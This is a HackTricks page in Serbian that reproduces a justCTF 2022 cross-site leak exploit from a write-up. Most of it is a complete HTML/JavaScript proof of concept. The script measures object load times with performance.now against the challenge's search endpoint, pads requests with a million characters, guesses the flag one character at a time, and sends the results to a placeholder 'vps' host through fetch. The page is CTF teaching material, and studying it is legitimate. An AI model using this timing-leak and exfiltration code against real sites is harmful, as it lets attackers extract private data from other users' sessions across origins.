4.5 KiB
performance.now + Force heavy task
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Eksploit preuzet sa https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
U ovom izazovu korisnik je mogao poslati hiljade karaktera i ako je zastava bila sadržana, karakteri bi se vraćali botu. Tako što je poslao veliku količinu karaktera, napadač je mogao da izmeri da li je zastava sadržana u poslatom stringu ili ne.
{% hint style="warning" %} U početku nisam postavio širinu i visinu objekta, ali kasnije sam otkrio da je to važno jer je podrazumevana veličina previše mala da bi napravila razliku u vremenu učitavanja. {% endhint %}
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<img src="https://deelay.me/30000/https://example.com">
<script>
fetch('https://deelay.me/30000/https://example.com')
function send(data) {
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
}
function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})
}
send('start')
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let flag = 'justCTF{'
async function main() {
let found = 0
let notFound = 0
for(let i=0;i<3;i++) {
await leak('..')
}
for(let i=0; i<3; i++) {
found += await leak('justCTF')
}
for(let i=0; i<3; i++) {
notFound += await leak('NOT_FOUND123')
}
found /= 3
notFound /= 3
send('found flag:'+found)
send('not found flag:'+notFound)
let threshold = found - ((found - notFound)/2)
send('threshold:'+threshold)
if (notFound > found) {
return
}
// exploit
while(true) {
if (flag[flag.length - 1] === '}') {
break
}
for(let char of charset) {
let trying = flag + char
let time = 0
for(let i=0; i<3; i++) {
time += await leak(trying)
}
time/=3
send('char:'+trying+',time:'+time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}
main()
</script>
</body>
</html>
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.